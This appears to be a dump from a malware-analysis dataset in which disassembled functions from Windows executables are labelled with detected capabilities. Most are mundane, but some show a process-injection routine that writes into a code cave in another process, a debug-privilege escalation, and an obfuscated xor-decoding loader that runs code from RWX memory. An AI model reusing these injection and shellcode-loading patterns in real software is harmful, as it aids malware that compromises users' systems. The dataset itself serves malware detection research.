joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e37f0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x518cb8
push 0x4a08d0
mov eax, dword fs:[0]
push eax
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, dword [0x522464]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 8], 0
je 0x4e384a
cmp dword [ebp + 0xc], 0
je 0x4e384a
cmp dword [ebp + 0x10], 1
jae 0x4e384f
jmp 0x4e392d
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jb 0x4e3871
mov ecx, dword [ebp + 0x10]
sub ecx, 1
cmp dword [ebp - 0x1c], ecx
jbe 0x4e3876
jmp 0x4e392d
mov dword [ebp - 4], 0
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004963f3
add esp, 4
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4e38b1
mov dword [ebp - 4], 0xfffffffe
jmp 0x4e392d
mov ecx, dword [ebp - 0x1c]
shl ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0x20]
push edx
call fcn.00497490
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4e390d
mov eax, dword [ebp + 0x10]
sub eax, 1
cmp dword [ebp - 0x1c], eax
ja 0x4e390d
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp + 0x10]
sub eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0049aba1
add esp, 0x10
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], 0xfffffffe
jmp 0x4e392d
cmp dword [ebp - 0x20], 0
je 0x4e394c
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0049750a
add esp, 4
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e39f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
call fcn.004391a5
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4e3a10
xor eax, eax
jmp 0x4e3a21
mov eax, dword [ebp - 4]
and eax, 0x10
je 0x4e3a1c
xor eax, eax
jmp 0x4e3a21
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4e46e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
mov eax, dword [0x522464]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, dword [ebp + 8]
call fcn.0041e176
movzx eax, al
test eax, eax
je 0x4e470a
xor eax, eax
jmp 0x4e4929
mov word [ebp - 0x218], 0
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.00497490
add esp, 0xc
push 0x501838
xor ecx, ecx
mov esi, dword [ebp + 8]
call fcn.0041e7fd
cmp eax, 0xffffffff
je 0x4e477b
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0x50185c
call fcn.004e37f0
add esp, 0xc
test eax, eax
jne 0x4e4761
xor eax, eax
jmp 0x4e4929
lea eax, [ebp - 0x218]
push eax
push str._ALLUSERSPROFILE_
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040521a
jmp 0x4e4918
push 0x5018a4
xor ecx, ecx
mov esi, dword [ebp + 8]
call fcn.0041e7fd
cmp eax, 0xffffffff
je 0x4e47cd
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0x5018b8
call fcn.004e37f0
add esp, 0xc
test eax, eax
jne 0x4e47b3
xor eax, eax
jmp 0x4e4929
lea eax, [ebp - 0x218]
push eax
push str._APPDATA_
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040521a
jmp 0x4e4918
push 0x5018e0
xor ecx, ecx
mov esi, dword [ebp + 8]
call fcn.0041e7fd
cmp eax, 0xffffffff
je 0x4e481f
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0x5018f0
call fcn.004e37f0
add esp, 0xc
test eax, eax
jne 0x4e4805
xor eax, eax
jmp 0x4e4929
lea eax, [ebp - 0x218]
push eax
push str._TEMP_
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040521a
jmp 0x4e4918
push 0x501910
xor ecx, ecx
mov esi, dword [ebp + 8]
call fcn.0041e7fd
cmp eax, 0xffffffff
je 0x4e486a
push 0x104
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
ja 0x4e4850
xor eax, eax
jmp 0x4e4929
lea eax, [ebp - 0x218]
push eax
push str._SYSTEM_
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040521a
jmp 0x4e4918
push 0x501938
xor ecx, ecx
mov esi, dword [ebp + 8]
call fcn.0041e7fd
cmp eax, 0xffffffff
je 0x4e48b2
push 0x104
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
ja 0x4e489b
xor eax, eax
jmp 0x4e4929
lea eax, [ebp - 0x218]
push eax
push str._WINDOWS_
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040521a
jmp 0x4e4918
push 0x501960
xor ecx, ecx
mov esi, dword [ebp + 8]
call fcn.0041e7fd
cmp eax, 0xffffffff
je 0x4e4914
push 0x20a
push 0
lea edx, [ebp - 0x218]
push edx
call fcn.00497490
add esp, 0xc
push 0x105
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea edx, [ebp - 0x218]
push edx
push str._CUR_DIR_
mov eax, dword [ebp + 8]
push eax
call fcn.0040521a
jmp 0x4e4918
xor eax, eax
jmp 0x4e4929
mov ecx, dword [ebp + 8]
push ecx
call fcn.004e4690
add esp, 4
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a079b
mov esp, ebp
pop ebp
ret
Function at 0x4e4940
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ed436
mov eax, dword fs:[0]
push eax
sub esp, 0x264
mov eax, dword [0x522464]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x250], 0
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x14]
call fcn.004019c5
mov dword [ebp - 4], 0
mov dword [ebp - 0x24c], 0
push 0x228
push 0
lea ecx, [ebp - 0x248]
push ecx
call fcn.00497490
add esp, 0xc
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4e49bc
jmp 0x4e4a25
mov dword [ebp - 0x24c], 0x22c
lea edx, [ebp - 0x24c]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_Process32FirstW
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
jne 0x4e49e7
jmp 0x4e4a25
lea ecx, [ebp - 0x228]
push ecx
lea eax, [ebp - 0x14]
call fcn.00405209
test eax, eax
jne 0x4e4a11
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x244]
mov dword [edx], eax
mov dword [ebp - 0x250], 1
jmp 0x4e4a25
lea ecx, [ebp - 0x24c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0x4e49e7
cmp dword [ebp - 0x10], 0xffffffff
je 0x4e4a35
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 0x250]
mov dword [ebp - 0x258], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00401b7d
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.004a079b
mov esp, ebp
pop ebp
ret
Function at 0x4e4a70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ed471
mov eax, dword fs:[0]
push eax
sub esp, 0x254
mov eax, dword [0x522464]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x228], 0
lea eax, [ebp - 0x230]
call fcn.0048a738
mov dword [ebp - 4], 0
mov dword [ebp - 0x22c], 0
mov word [ebp - 0x224], 0
push 0x206
push 0
lea eax, [ebp - 0x222]
push eax
call fcn.00497490
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.00401b87
mov byte [ebp - 4], 1
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x4e4b5f
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x4e4b5f
push 0x501834
mov eax, dword [ebp + 8]
call fcn.004019c5
mov ecx, dword [ebp - 0x234]
or ecx, 1
mov dword [ebp - 0x234], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00401b7d
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x230]
call fcn.004391a8
mov eax, dword [ebp + 8]
jmp 0x4e4c47
lea edx, [ebp - 0x22c]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
cmp dword [ebp - 0x22c], 0
jne 0x4e4b80
jmp 0x4e4c06
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea eax, [ebp - 0x224]
push eax
call fcn.00497791
add esp, 4
test eax, eax
je 0x4e4bc4
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x14]
push eax
call fcn.00401b43
lea eax, [ebp - 0x230]
call fcn.0040929b
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x4e4c06
lea eax, [ebp - 0x230]
call fcn.004391a5
mov dword [ebp - 0x260], eax
mov ecx, dword [ebp - 0x22c]
push ecx
mov edx, dword [ebp - 0x260]
push edx
mov eax, dword [ebp - 0x260]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
lea eax, [ebp - 0x14]
mov esi, dword [ebp + 8]
call fcn.004016eb
mov eax, dword [ebp - 0x234]
or eax, 1
mov dword [ebp - 0x234], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00401b7d
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x230]
call fcn.004391a8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.004a079b
mov esp, ebp
pop ebp
ret
Function at 0x4e5c10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4edbde
mov eax, dword fs:[0]
push eax
sub esp, 0x254
mov eax, dword [0x522464]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x230], 0
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp + 8]
or ecx, 0x20019
push ecx
push 0
mov eax, dword [ebp - 0x260]
add eax, 0xc
call fcn.004391a5
push eax
mov edx, dword [ebp - 0x260]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
je 0x4e5ca1
mov ecx, dword [ebp - 0x230]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x4e5ddd
mov dword [ebp - 0x10], 2
mov dword [ebp - 0x228], 0x105
mov word [ebp - 0x224], 0
push 0x208
push 0
lea edx, [ebp - 0x222]
push edx
call fcn.00497490
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x260]
add eax, 8
call fcn.004391a5
push eax
mov eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x230]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x22c], 0
jne 0x4e5ddb
cmp dword [ebp - 0x10], 1
jne 0x4e5ddb
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x234]
call fcn.004019c5
mov dword [ebp - 4], 0
lea eax, [ebp - 0x234]
push eax
call fcn.004e4c70
add esp, 4
push 0x105
lea esi, [ebp - 0x234]
call fcn.004018a2
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
or eax, 0xffffffff
lea esi, [ebp - 0x234]
call fcn.0041e89e
mov eax, dword [ebp - 0x260]
add eax, 0x10
call fcn.004391a5
push eax
push 0x105
lea esi, [ebp - 0x234]
call fcn.004018a2
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
or eax, 0xffffffff
lea esi, [ebp - 0x234]
call fcn.0041e89e
lea ecx, [ebp - 0x234]
push ecx
call fcn.004e39f0
add esp, 4
mov dword [ebp - 0x238], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x234]
call fcn.00401b7d
mov eax, dword [ebp - 0x238]
jmp 0x4e5ddd
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004a079b
mov esp, ebp
pop ebp
ret 4
Function at 0x4e72c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ee386
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x522464]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x34]
call fcn.00401b87
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.0049a126
add esp, 4
call fcn.0049a133
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x68]
add ecx, 0x14
call fcn.004e01d0
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4e7335
jmp 0x4e748f
mov ecx, dword [ebp - 0x68]
add ecx, 0x14
call fcn.004e0a80
movzx eax, al
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4e7351
jmp 0x4e748f
mov ecx, dword [ebp - 0x20]
call fcn.004de240
mov word [ebp - 0x30], ax
mov ecx, dword [ebp - 0x68]
add ecx, 0x14
call fcn.004dfc30
push eax
mov ecx, dword [ebp - 0x68]
add ecx, 0x14
call fcn.004dfc50
push eax
push 0
call fcn.00447b28
add esp, 0xc
mov dword [ebp - 0x10], eax
push 0
call fcn.0049b046
add esp, 4
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x24], eax
cmp dword [ebp + 8], 0
jne 0x4e73b9
mov eax, dword [ebp - 0x68]
add eax, 8
call fcn.004391a5
push eax
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x10]
call fcn.004eb9c0
test eax, eax
je 0x4e73c6
mov dx, word [ebp - 0x30]
push edx
mov ecx, dword [ebp - 0x68]
call fcn.004e7140
mov ecx, dword [ebp - 0x20]
call fcn.004de2b0
push eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax + 0x10]
call fcn.004eba50
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x2710
jge 0x4e73fb
mov eax, dword [ebp - 0x28]
cdq
mov ecx, 0x2710
idiv ecx
cmp edx, dword [ebp - 0x2c]
jl 0x4e73fb
jmp 0x4e748f
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, 0x3e8
div ecx
push edx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
movzx ecx, word [ebp - 0x30]
push ecx
push str._d__x__x__x.ich
lea edx, [ebp - 0x34]
push edx
call fcn.0041e84b
add esp, 0x18
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x68]
add eax, 4
lea ecx, [ebp - 0x38]
call fcn.0041e789
add esp, 4
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x70], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x68]
add ecx, 0x14
call fcn.004dfc30
push eax
mov ecx, dword [ebp - 0x68]
add ecx, 0x14
call fcn.004dfc50
push eax
mov eax, dword [ebp - 0x70]
call fcn.004391a5
push eax
call fcn.004dd960
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x38]
call fcn.00401b7d
cmp dword [ebp - 0x1c], 0
jne 0x4e7488
jmp 0x4e748f
mov dword [ebp - 0x18], 1
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00401b7d
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x4eb830
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ee298
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x522464]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], str.QQPCRTP
push 0x5015dc
push 0x5015f4
push reloc.OLEAUT32.dll_SysReAllocString
lea eax, [ebp - 0x18]
push eax
call fcn.004eb740
add esp, 0x10
mov dword [ebp - 4], 0
lea eax, [ebp - 0x18]
call fcn.0041e176
movzx ecx, al
test ecx, ecx
je 0x4eb8a5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401b7d
jmp 0x4eb917
lea eax, [ebp - 0x18]
call fcn.004391a5
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4eb8c9
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401b7d
jmp 0x4eb917
mov dword [ebp - 0x1c], 0
jmp 0x4eb8db
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 1
jae 0x4eb900
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x10]
push ecx
call fcn.0048a5bf
add esp, 4
test eax, eax
je 0x4eb8fe
mov dword [ebp - 0x14], 1
jmp 0x4eb900
jmp 0x4eb8d2
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401b7d
xor edx, edx
jne 0x4eb863
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1002aaee
pop dword [ebp - 0x20]
mov eax, 0x1002aaee
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x4fecdfab
sub dword [ebp - 0x30], 0x19a9a60
mov dword [ebp - 0x2c], 0xeacd2767
sub dword [ebp - 0x2c], 0xb899db22
mov dword [ebp - 0x28], 0x660bfa8e
add dword [ebp - 0x28], 0xe64049a0
mov dword [ebp - 0x24], 0x42cbb227
add dword [ebp - 0x24], 0xbd344dd9
lea eax, [ebp - 0x30]
push eax
mov eax, 0xefab3049
add eax, 0x20578fef
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xcbb8be78
add dword [ebp - 0x30], 0xa8b9aade
mov dword [ebp - 0x2c], 0x28e4958a
add dword [ebp - 0x2c], 0x1887cbeb
mov dword [ebp - 0x28], 0x9c4f3ffc
sub dword [ebp - 0x28], 0x38dfd390
mov dword [ebp - 0x24], 0x7531d02f
sub dword [ebp - 0x24], 0x7531d02f
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xbb873727
sub eax, 0xab8476ff
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x37d70
push 0
call eax
mov ecx, 0xd280038f
add ecx, 0x2d8049ee
xor edi, edi
add edi, eax
mov ebx, 0xb8c3baf1
add ebx, 0x573fdb0f
add ebx, dword [ebp - 0x20]
mov edx, 0x21abbe93
sub edx, 0x80f8ef8e
sub dword [ebp - 0x18], eax
mov esi, dword [ebx]
sub esi, edx
xor dword [ebp - 0x1c], edi
mov dword [edi], esi
sub dword [ebp - 4], ecx
add edi, 0x2a94ebe0
add edi, 0xd56b1424
add ebx, 4
loop 0x1002ac0d
add eax, 0x128c7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe1e5d751
add ecx, 0x2e1a28af
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4012b0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40130e
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
neg eax
sbb eax, eax
inc eax
add esp, 0x14
ret
mov eax, 1
add esp, 0x14
ret
Function at 0x401320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4129eb
push eax
mov dword fs:[0], esp
sub esp, 0x634
push ebp
mov ebp, dword [esp + 0x648]
test ebp, ebp
je 0x401552
push ebx
push esi
push edi
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x4015c0
mov dword [esp + 0x14], eax
sub esi, 0x401570
push 0x40
push 0x3000
lea eax, [esi + 0x100]
push eax
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov ebx, eax
push esi
push 0x401570
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push str.MyFuncAddress___08X_n
call fcn.00404555
add esp, 8
lea ecx, [esp + 0x23c]
call fcn.004010a0
push 0xf
push str.CodeCaveHeaderF
lea ecx, [esp + 0x244]
mov dword [esp + 0x654], 0
call section..text
mov ecx, 0x80
mov esi, 0x401570
lea edi, [esp + 0x3c]
push 0x200
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x40]
push ecx
lea ecx, [esp + 0x244]
call fcn.004010e0
mov edi, eax
cmp edi, 0xffffffff
je 0x401538
mov esi, 0x401570
push edi
add esi, edi
push str.Found_CodeCaveHeaderF_in_offset__08X_n
add esi, 0x1e
call fcn.00404555
mov edx, dword [esi + 0xf]
add esp, 8
lea eax, [esi + 9]
lea ecx, [esi + 4]
push edx
mov edx, dword [esi]
push eax
push ecx
push edx
push str.Content__08X__d_n
call fcn.00404555
add esp, 0x14
lea ecx, [esp + 0x660]
lea eax, [ebx + 1]
push 0
push 4
push ecx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x14]
lea esi, [edi + ebx + 0x15]
sub eax, esi
sub eax, 4
push eax
push esi
push str.dwCall___08X___dwCallOffset___08X__n
mov dword [esp + 0x1c], eax
call fcn.00404555
add esp, 0xc
lea edx, [esp + 0x10]
push 0
push 4
push edx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x660]
add esi, 5
mov dword [esp + 0x14], eax
sub eax, esi
sub eax, 4
push 0
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push 4
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebp
call esi
push 0
lea edx, [esp + 0x14]
lea eax, [edi + ebx + 0x10]
push 4
push edx
lea ecx, [edi + ebx + 0x22]
push eax
push ebp
mov dword [esp + 0x24], ecx
call esi
mov edx, dword [esp + 0x65c]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
push 0
not ecx
push ecx
push edx
push eax
push ebp
mov edi, esi
call edi
mov esi, dword [esp + 0x14]
sub ebx, esi
sub ebx, 5
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0x17]
mov edx, dword [esp + 0x16]
mov eax, dword [esp + 0x15]
and ecx, 0xff
and edx, 0xff
push ecx
and eax, 0xff
push edx
and ebx, 0xff
push eax
push ebx
lea ecx, [esp + 0x2c]
push 0x4170c4
push ecx
call fcn.00404503
add esp, 0x18
lea edx, [esp + 0x1c]
push 0
push 5
push edx
push esi
push ebp
call edi
lea ecx, [esp + 0x23c]
mov dword [esp + 0x64c], 0xffffffff
call fcn.004010c0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
pop ebp
mov dword fs:[0], ecx
add esp, 0x640
ret
Function at 0x406e15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406e35
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040a7a9
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x406e56
test byte [esp + 8], 2
je 0x406e56
mov dword [0x41b054], 0xd
mov dword [0x41b058], 5
jmp 0x406e31
xor eax, eax
ret